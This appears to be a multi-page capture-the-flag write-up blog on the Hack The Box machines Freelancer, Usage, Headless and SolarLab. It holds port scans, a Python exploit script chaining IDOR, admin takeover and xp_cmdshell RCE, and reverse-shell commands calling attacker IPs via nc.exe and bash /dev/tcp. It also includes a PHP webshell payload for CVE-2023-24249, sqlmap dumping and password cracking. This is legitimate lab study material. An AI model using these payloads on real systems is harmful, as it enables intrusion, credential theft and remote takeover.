Initial reconnaissance always uses port scanning and if the http port is open we can perform dirsearch.
naabu --host 10.129.57.150 -v -p - -nmap-cli 'nmap -sV' -o 10.129.57.150.port
__
___ ___ ___ _/ / __ __
/ _ \/ _ \/ _ \/ _ \/ // /
/_//_\/\_,_\/\_,_/_.__\/\_,_/
projectdiscovery.io
[INF] Current naabu version 2.3.1 (latest)
[INF] Running CONNECT scan with non root privileges
10.129.57.150:49671
10.129.57.150:49667
10.129.57.150:3268
10.129.57.150:53
10.129.57.150:52941
10.129.57.150:9389
10.129.57.150:5985
10.129.57.150:636
10.129.57.150:3269
10.129.57.150:593
10.129.57.150:49670
10.129.57.150:135
10.129.57.150:49672
10.129.57.150:139
10.129.57.150:445
10.129.57.150:80
10.129.57.150:88
10.129.57.150:52945
10.129.57.150:389
10.129.57.150:55820
10.129.57.150:55824
[INF] Found 21 ports on host 10.129.57.150 (10.129.57.150)
[INF] Running nmap command: nmap -sV -p 55820,636,49670,139,49671,3268,135,52945,55824,9389,593,5985,3269,389,445,88,52941,49667,49672,53,80 10.129.57.150
Starting Nmap 7.95 ( https://nmap.org ) at 2024-06-02 20:44 WIB
Nmap scan report for freelancer.htb (10.129.57.150)
Host is up (0.30s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http nginx 1.25.5
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-06-02 18:44:16Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: freelancer.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: freelancer.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49671/tcp open msrpc Microsoft Windows RPC
49672/tcp open msrpc Microsoft Windows RPC
52941/tcp filtered unknown
52945/tcp filtered unknown
55820/tcp open msrpc Microsoft Windows RPC
55824/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.38 seconds
results of dirsearch to port 80.
dirsearch -u http://freelancer.htb
/usr/share/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11723
Output: /home/replican/Desktop/Prod/HackTheBox/machine/Freelancer/reports/http_freelancer.htb/__24-06-02_21-13-58.txt
Target: http://freelancer.htb/
Task Completed
there is port 80 let's pentest it directly, there is a validation idor bug. when we register as an employer it won't work because it needs validation. let's access it directly
access it using a freelancer account ( register if not yet )
and input the employer username that you want to activate
and when it has been answered as you registered before, the employer's account will be activated
there is a QR Code feature and when we scan its qr
there is a base64 MTAwMTE which means 10011, like user id. here I am trying to change it to 2 which is in base64
and yes we are now admin. like scanning dirsearch above there is a path /admin we go straight there
but I tried to show tables it turns out this db is here our goal is to spawn xp_cmdshell because this is also windows.
because here we are not sysadmin and xp_cmdshell is disabled with sp_configure. we need to perform privilege using the following command
EXECUTE AS LOGIN = 'SA'
EXEC sp_addsrvrolemember 'Freelancer_webapp_user', 'sysadmin'
-- this turns on advanced options and is needed to configure xp_cmdshell
EXEC sp_configure 'show advanced options', '1'
RECONFIGURE
-- this enables xp_cmdshell
EXEC sp_configure 'xp_cmdshell', '1'
RECONFIGURE
and only after that can we use xp_cmdshell
let's just create a revshell. here I use nc binary
xp_cmdshell 'echo IWR http://10.10.14.88:1337/nc.exe -OutFile %TEMP%\nc.exe | powershell -noprofile''
xp_cmdshell '%TEMP%\nc.exe 10.10.14.88 1338 -e powershell'
and yes we got this revshell
let's just dump the sql user pw to get the mikasha user shell
IL0v3ErenY3ager this password just RunAs okay guys
import httpx
from bs4 import BeautifulSoup
from pwn import *
from PIL import Image
from io import BytesIO
from pyzbar.pyzbar import decode
import re
URL = "http://freelancer.htb"
# change this to debug if you want to see the csrf logger
context.log_level = 'info'
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.Client(base_url=url, proxy={
"http://" : "http://127.0.0.1:8080"
})
class API(BaseAPI):
def getCsrfToken(self,path):
if hasattr(self, 'admin_cookies'):
r = self.c.get(path, cookies={
'sessionid' : self.admin_cookies
}, follow_redirects=True)
else:
r = self.c.get(path)
self.csrf_token = r.cookies["csrftoken"]
soup = BeautifulSoup(r.text, "html.parser")
csrf = soup.find("input", {"name": "csrfmiddlewaretoken"})
if csrf:
csrf_value = csrf["value"]
self.csrf_middleware = csrf_value
debug(f"csrf/{self.csrf_middleware} from path{path}")
else:
csrf_value = re.findall(r'csrfmiddlewaretoken: "(.*?)"', r.text)
if len(csrf_value) >= 1:
self.csrf_middleware = csrf_value[0]
debug(f"csrf/{self.csrf_middleware} from path{path}")
else:
warn("csrf token/middleware is not found")
def FreelancerLogin(self, user, password):
path = "/accounts/login/"
self.getCsrfToken(path)
r = self.c.post(path, data={
"csrfmiddlewaretoken": self.csrf_middleware,
"username": user,
"password" : password
})
self.freelancer_sessionid = r.cookies["sessionid"]
info(f"success login freelancer account {user}:{password}")
def EmployerLogin(self, user, password):
path = "/accounts/login/"
self.getCsrfToken(path)
r = self.c.post(path, data={
"csrfmiddlewaretoken": self.csrf_middleware,
"username": user,
"password" : password
})
self.employer_sessionid = r.cookies["sessionid"]
info(f"success login employer account {user}:{password}")
def createAccountFreelancer(self, user, passwd):
path = "/freelancer/register/"
self.getCsrfToken(path)
r = self.c.post(path, data={
"csrfmiddlewaretoken": self.csrf_middleware,
"username": user,
"email" : f"{user}@gmail.com",
"first_name": user,
"last_name": user,
"address" : user,
"security_q1": user,
"security_q2": user,
"security_q3": user,
"job_title": user,
"years_of_experience": 33,
"description": user,
"password1": passwd,
"password2": passwd
}, cookies={
"csrftoken" : self.csrf_token
}, headers={'Content-Type': 'application/x-www-form-urlencoded'} )
api.FreelancerLogin(user,passwd)
def createAccountEmployer(self, user, passwd):
path = "/employer/register/"
self.getCsrfToken(path)
r = self.c.post(path, data={
"csrfmiddlewaretoken": self.csrf_middleware,
"username": user,
"email" : f"{user}@gmail.com",
"first_name": user,
"last_name": user,
"address" : user,
"security_q1": user,
"security_q2": user,
"security_q3": user,
"company_name": user,
"password1": passwd,
"password2": passwd
}, cookies={
"csrftoken" : self.csrf_token
}, headers={'Content-Type': 'application/x-www-form-urlencoded'} , follow_redirects=False)
info(f"success create employer account {user}:{passwd}")
def ActivateAccountIDOR(self, userEmployer, password):
path = "/accounts/recovery/"
self.getCsrfToken(path)
r = self.c.post(path, data={
"csrfmiddlewaretoken": self.csrf_middleware,
"username": userEmployer,
"security_q1": userEmployer,
"security_q2": userEmployer,
"security_q3": userEmployer,
}, cookies={
"sessionid":self.freelancer_sessionid
})
api.EmployerLogin(userEmployer, password)
return "success activate employer account through idor account recovery"
def GetQrCode(self, idTakeover):
path = "/accounts/otp/qrcode/generate/"
r = self.c.get(path, cookies={
"sessionid" :self.employer_sessionid
})
image = Image.open(BytesIO(r.content))
qr_codes = decode(image)
for qr_code in qr_codes:
match = re.search(r'otp/([^/]+)/', qr_code.data.decode('utf-8'))
if match:
otp_string = match.group(1)
decoded_otp_string = base64.b64decode(otp_string).decode()
encoded_idTakeover = base64.b64encode(idTakeover.encode()).decode()
info(f'changing id for otp {otp_string}:{decoded_otp_string} to {encoded_idTakeover}:{idTakeover}')
self.adminUrl = qr_code.data.decode('utf-8').replace(otp_string, encoded_idTakeover)
success(f'here the full link {self.adminUrl}, for admin takeover. enjoy it.' )
else:
error("No match found")
def LoginAdmin(self):
r = self.c.get(f"{self.adminUrl}")
self.admin_cookies = r.cookies["sessionid"]
def QuerySqli(self, query):
path = "/admin/executeRawSql/"
self.getCsrfToken("/admin")
return self.c.post(path, data={
'query': query,
'csrfmiddlewaretoken' : self.csrf_middleware
}, cookies={
'sessionid': self.admin_cookies
})
def BypassXpCmdShell(self):
api.LoginAdmin()
info(f'admin cookies : {self.admin_cookies}')
api.QuerySqli("""EXECUTE AS LOGIN = 'SA'
EXEC sp_addsrvrolemember 'Freelancer_webapp_user', 'sysadmin'""")
api.QuerySqli("""'
-- this turns on advanced options and is needed to configure xp_cmdshell
EXEC sp_configure 'show advanced options', '1'
RECONFIGURE
-- this enables xp_cmdshell
EXEC sp_configure 'xp_cmdshell', '1'
RECONFIGURE
""" )
def RceSqli(self,cmd):
rows = api.QuerySqli(f"xp_cmdshell '{cmd}'").json().get('result', {}).get('rows', [])
for row in rows:
if len(row) >= 1:
success(row[0])
...
if __name__ == "__main__":
api = API()
api.createAccountFreelancer('replicannormal', '@Hack4you1337')
api.createAccountEmployer('replicanlw', '@Hack4you1337')
info(api.ActivateAccountIDOR('replicanlw', '@Hack4you1337'))
api.GetQrCode(idTakeover='2')
isRce = input(info('do u want to get the rce automatically through xp_cmdshell? (y/n)'))
if "y" or "Y" in isRce:
api.BypassXpCmdShell()
while True:
cmd = input('cmd > ')
api.RceSqli(cmd)
Page 2
massscan & nmap & dirsearch like usual
/bin/cat masscan_10.129.36.167
<?xml version="1.0"?>
<!-- masscan v1.0 scan -->
<nmaprun scanner="masscan" start="1716243183" version="1.0-BETA" xmloutputversion="1.03">
<scaninfo type="syn" protocol="tcp" />
<host endtime="1716243183"><address addr="10.129.36.167" addrtype="ipv4"/><ports><port protocol="tcp" portid="22"><state state="open" reason="syn-ack" reason_ttl="63"/></port></ports></host>
<host endtime="1716243303"><address addr="10.129.36.167" addrtype="ipv4"/><ports><port protocol="tcp" portid="80"><state state="open" reason="syn-ack" reason_ttl="63"/></port></ports></host>
<runstats>
<finished time="1716243330" timestr="2024-05-21 05:15:30" elapsed="205" />
<hosts up="2" down="0" total="2" />
</runstats>
</nmaprun>
/bin/cat nmap_detailed_all_tcp_ports.txt
# Nmap 7.95 scan initiated Tue May 21 05:15:56 2024 as: nmap -p "80, 22" -sVSC -A -oN nmap_detailed_all_tcp_ports.txt -v2 10.129.36.167
Nmap scan report for 10.129.36.167
Host is up, received echo-reply ttl 63 (0.044s latency).
Scanned at 2024-05-21 05:15:57 WIB for 9s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFfdLKVCM7tItpTAWFFy6gTlaOXOkNbeGIN9+NQMn89HkDBG3W3XDQDyM5JAYDlvDpngF58j/WrZkZw0rS6YqS0=
| 256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHr8ATPpxGtqlj8B7z2Lh7GrZVTSsLb6MkU3laICZlTk
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=5/21%OT=22%CT=%CU=34514%PV=Y%DS=2%DC=T%G=N%TM=664BCBA6
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=108%TI=Z%CI=Z%II=I%TS=A)OPS(
OS:O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CST11
OS:NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(
OS:R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
OS:S)
Uptime guess: 42.218 days (since Tue Apr 9 00:02:51 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 51.32 ms 10.10.14.1
2 51.48 ms 10.129.36.167
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue May 21 05:16:06 2024 -- 1 IP address (1 host up) scanned in 9.89 seconds
testing all features. we know sqli in the /forgot_password
Blind sqli boolean based in /forgot_password on port 80 in the email section
sqlmap -r ~/Desktop/Prod/HackTheBox/machine/Usage/req.txt --batch --level 5 --risk 3 --dbms=mysql --dbs --dump
got the dump of all db
lets input to password cracker
john Administrator.hash --wordlist=/home/replican/Desktop/Prod/CyberSecurity/seclists/Passwords/Leaked-Databases/rockyou.txt
Warning: detected hash type "bcrypt", but the string is also recognized as "bcrypt-opencl"
Use the "--format=bcrypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
whatever1 (?)
1g 0:00:00:04 DONE (2024-05-21 06:56) 0.2347g/s 380.2p/s 380.2c/s 380.2C/s runescape..serena
Use the "--show" option to display all of the cracked passwords reliably
Session completed
after sometimes
we know this laravel-admin. now we find the public cve for this and i search "laravel-admin cve" and i found this CVE-2023-24249
convert -size 25x25 xc:none -colors 256 output.png && exiftool -Model='<?=system($_GET["x"])?>' output.png && mv output.png $(cat /proc/sys/kernel/random/uuid).png
after that we upload and intercept and make it .png.php
and we get the shell
and then we revshell
http://admin.usage.htb/uploads/images/exploit.png.php?x=bash%20-c%20%22sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.45%2F1337%200%3E%261%22
and then we go to /home/dash and we get user flag
Last updated 4 months ago
Page 3
as always we scan the port and identify them.
this is my recon tools & command that i used
sudo masscan '-p1-65535,U:1-65535' 10.129.36.41 '--rate=1000' -e tun0
[sudo] password for replican:
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2024-05-18 05:39:02 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on 10.129.36.41
Discovered open port 5000/tcp on 10.129.36.41
after we know the port we scan using nmap
sudo nmap -p '80, 5000' -sVSC -A -oN nmap_detailed_all_tcp_ports.txt 10.129.36.41 -v2
[sudo] password for replican:
Starting Nmap 7.95 ( https://nmap.org ) at 2024-05-18 21:58 WIB
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:58
Completed NSE at 21:58, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:58
Completed NSE at 21:58, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:58
Completed NSE at 21:58, 0.00s elapsed
Initiating Ping Scan at 21:58
Scanning 10.129.36.41 [4 ports]
Completed Ping Scan at 21:58, 0.09s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:58
Completed Parallel DNS resolution of 1 host. at 21:58, 0.05s elapsed
Initiating SYN Stealth Scan at 21:58
Scanning 10.129.36.41 [2 ports]
Discovered open port 5000/tcp on 10.129.36.41
Completed SYN Stealth Scan at 21:58, 0.09s elapsed (2 total ports)
Initiating Service scan at 21:58
Scanning 1 service on 10.129.36.41
Completed Service scan at 21:58, 6.21s elapsed (1 service on 1 host)
Initiating OS detection (try #1) against 10.129.36.41
Initiating Traceroute at 21:58
Completed Traceroute at 21:58, 0.05s elapsed
Initiating Parallel DNS resolution of 2 hosts. at 21:58
Completed Parallel DNS resolution of 2 hosts. at 21:58, 0.04s elapsed
NSE: Script scanning 10.129.36.41.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:58
Completed NSE at 21:58, 1.11s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:58
Completed NSE at 21:59, 0.20s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:59
Completed NSE at 21:59, 0.00s elapsed
Nmap scan report for 10.129.36.41
Host is up, received echo-reply ttl 63 (0.044s latency).
Scanned at 2024-05-18 21:58:50 WIB for 10s
PORT STATE SERVICE REASON VERSION
80/tcp closed http reset ttl 63
5000/tcp open http syn-ack ttl 63 Werkzeug httpd 2.2.2 (Python 3.11.2)
| http-methods:
|_ Supported Methods: HEAD GET OPTIONS
|_http-server-header: Werkzeug/2.2.2 Python/3.11.2
|_http-title: Under Construction
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=5/18%OT=5000%CT=80%CU=34143%PV=Y%DS=2%DC=T%G=Y%TM=6648
OS:C234%P=x86_64-pc-linux-gnu)SEQ(SP=F7%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)O
OS:PS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CS
OS:T11NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)E
OS:CN(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F
OS:=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5
OS:(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z
OS:%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=
OS:N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%
OS:CD=S)
Uptime guess: 29.290 days (since Fri Apr 19 15:01:20 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=247 (Good luck!)
IP ID Sequence Generation: All zeros
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 50.28 ms 10.10.14.1
2 50.36 ms 10.129.36.41
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:59
Completed NSE at 21:59, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:59
Completed NSE at 21:59, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:59
Completed NSE at 21:59, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.49 seconds
Raw packets sent: 38 (2.458KB) | Rcvd: 22 (1.594KB)
after we know port 5000 open we scan using dirsearch
dirsearch -u http://10.129.36.41:5000
/usr/share/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11723
Output: /home/replican/Desktop/Prod/HackTheBox/machine/Headless/reports/http_10.129.36.41_5000/__24-05-18_22-02-29.txt
Target: http://10.129.36.41:5000/
[22:02:29] Starting:
[22:04:16] 401 - 317B - /dashboard
[22:05:50] 200 - 2KB - /support
Task Completed
after we know /dashboard cant access ( it said unauthorized ) we go to the /support
after a while i notice the site is using cookies also
like usual ctf chall ( cookie, admin page, form without uploading any files) = xss
we directly put our payload xss but got blocked hmm
but our user agent also got reflected. so we can inject our user agent using burpsuite and input our payload xss to steal the cookie ( we assume in the backend the admin auto check our form )
as we see our payload work perfectly. now we opening server using http.server python to see the log requests
after sometimes. we get a response of the cookie admin.
after that we go into the dashboard and use command injection vulnerability ( because there is word system ) we assume this is command
and yep it's command injection when we do ;ls the list of file appeared
directly to revshells
and we get the flag user.
because this is a linux also this is was easy machine i still use c2 framework sliver like usual.
first we see the mail
as we see we need to find system check script and ( create the database init script )
after that we use this
we have access to sudo binary syscheck that is the inside searching script initdb.sh. we can simply make /bin/bash is root script and call it initdb.sh. and we call syscheck with sudo.
after we put our payload we run the syscheck and ( dont forget to create a listener )
and we get the flag.
Last updated 4 months ago
Page 4
sudo masscan -p1-65535,U:1-65535 10.129.44.43 --rate=1000 -e tun0
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2024-05-15 22:36:28 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 6791/tcp on 10.129.44.43
Discovered open port 139/tcp on 10.129.44.43
Discovered open port 445/tcp on 10.129.44.43
Discovered open port 135/tcp on 10.129.44.43
Discovered open port 80/tcp on 10.129.44.43
rate: 0.00-kpps, 100.00% done, waiting -33-secs, found=5
sudo nmap -p '6791, 139, 445, 135, 80' -sVSC -A -oN nmap_detailed_all_tcp_ports.txt 10.129.44.43 -v2
[sudo] password for replican:
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-16 05:40 WIB
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 05:40
Completed NSE at 05:40, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 05:40
Completed NSE at 05:40, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 05:40
Completed NSE at 05:40, 0.00s elapsed
Initiating Ping Scan at 05:40
Scanning 10.129.44.43 [4 ports]
Completed Ping Scan at 05:40, 0.07s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 05:40
Scanning solarlab.htb (10.129.44.43) [5 ports]
Discovered open port 6791/tcp on 10.129.44.43
Discovered open port 135/tcp on 10.129.44.43
Discovered open port 139/tcp on 10.129.44.43
Discovered open port 80/tcp on 10.129.44.43
Discovered open port 445/tcp on 10.129.44.43
Completed SYN Stealth Scan at 05:40, 0.06s elapsed (5 total ports)
Initiating Service scan at 05:40
Scanning 5 services on solarlab.htb (10.129.44.43)
Completed Service scan at 05:40, 11.17s elapsed (5 services on 1 host)
Initiating OS detection (try #1) against solarlab.htb (10.129.44.43)
Retrying OS detection (try #2) against solarlab.htb (10.129.44.43)
Initiating Traceroute at 05:40
Completed Traceroute at 05:40, 0.05s elapsed
Initiating Parallel DNS resolution of 1 host. at 05:40
Completed Parallel DNS resolution of 1 host. at 05:40, 0.04s elapsed
NSE: Script scanning 10.129.44.43.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 05:40
NSE Timing: About 99.86% done; ETC: 05:41 (0:00:00 remaining)
Completed NSE at 05:41, 40.24s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 05:41
Completed NSE at 05:41, 0.20s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 05:41
Completed NSE at 05:41, 0.00s elapsed
Nmap scan report for solarlab.htb (10.129.44.43)
Host is up, received echo-reply ttl 127 (0.039s latency).
Scanned at 2024-05-16 05:40:42 WIB for 56s
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 127 nginx 1.24.0
|_http-title: SolarLab Instant Messenger
|_http-server-header: nginx/1.24.0
| http-methods:
|_ Supported Methods: GET HEAD
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp open microsoft-ds? syn-ack ttl 127
6791/tcp open http syn-ack ttl 127 nginx 1.24.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to http://report.solarlab.htb:6791/
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows XP (85%)
OS CPE: cpe:/o:microsoft:windows_xp::sp3
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Microsoft Windows XP SP3 (85%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.94%E=4%D=5/16%OT=80%CT=%CU=%PV=Y%DS=2%DC=T%G=N%TM=66453A22%P=x86_64-pc-linux-gnu)
SEQ(SP=103%GCD=1%ISR=10A%TI=I%II=I%SS=S%TS=U)
OPS(O1=M53CNW8NNS%O2=M53CNW8NNS%O3=M53CNW8%O4=M53CNW8NNS%O5=M53CNW8NNS%O6=M53CNNS)
WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)
ECN(R=Y%DF=Y%TG=80%W=FFFF%O=M53CNW8NNS%CC=N%Q=)
T1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=N)
U1(R=N)
IE(R=Y%DFI=N%TG=80%CD=Z)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 19797/tcp): CLEAN (Timeout)
| Check 2 (port 46928/tcp): CLEAN (Timeout)
| Check 3 (port 17281/udp): CLEAN (Timeout)
| Check 4 (port 59848/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: 0s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2024-05-15T22:41:01
|_ start_date: N/A
TRACEROUTE (using port 6791/tcp)
HOP RTT ADDRESS
1 39.81 ms 10.10.14.1
2 40.15 ms solarlab.htb (10.129.44.43)
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 05:41
Completed NSE at 05:41, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 05:41
Completed NSE at 05:41, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 05:41
Completed NSE at 05:41, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.15 seconds
Raw packets sent: 93 (7.776KB) | Rcvd: 34 (2.080KB)
after all scan in http port using dirsearch we found nothing useful. so continue
echo '10.129.44.43 solarlab.htb report.solarlab.htb' | sudo tee -a /etc/hosts
after many, afterall we can login smb using anonymous credentials
smbclient -L 10.129.44.43 -U anonymous
Can't load /etc/samba/smb.conf - run testparm to debug it
Password for [WORKGROUP\anonymous]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
Documents Disk
IPC$ IPC Remote IPC
SMB1 disabled -- no workgroup available
smbclient \\10.129.44.43\Documents
Can't load /etc/samba/smb.conf - run testparm to debug it
Password for [WORKGROUP\replican]:
Try "help" to get a list of possible commands.
smb: \> ls
. DR 0 Fri Apr 26 21:47:14 2024
.. DR 0 Fri Apr 26 21:47:14 2024
concepts D 0 Fri Apr 26 21:41:57 2024
desktop.ini AHS 278 Fri Nov 17 17:54:43 2023
details-file.xlsx A 12793 Fri Nov 17 19:27:21 2023
My Music DHSrn 0 Fri Nov 17 02:36:51 2023
My Pictures DHSrn 0 Fri Nov 17 02:36:51 2023
My Videos DHSrn 0 Fri Nov 17 02:36:51 2023
old_leave_request_form.docx A 37194 Fri Nov 17 17:35:57 2023
7779839 blocks of size 4096. 1893544 blocks available
smb: \> dir
. DR 0 Fri Apr 26 21:47:14 2024
.. DR 0 Fri Apr 26 21:47:14 2024
concepts D 0 Fri Apr 26 21:41:57 2024
desktop.ini AHS 278 Fri Nov 17 17:54:43 2023
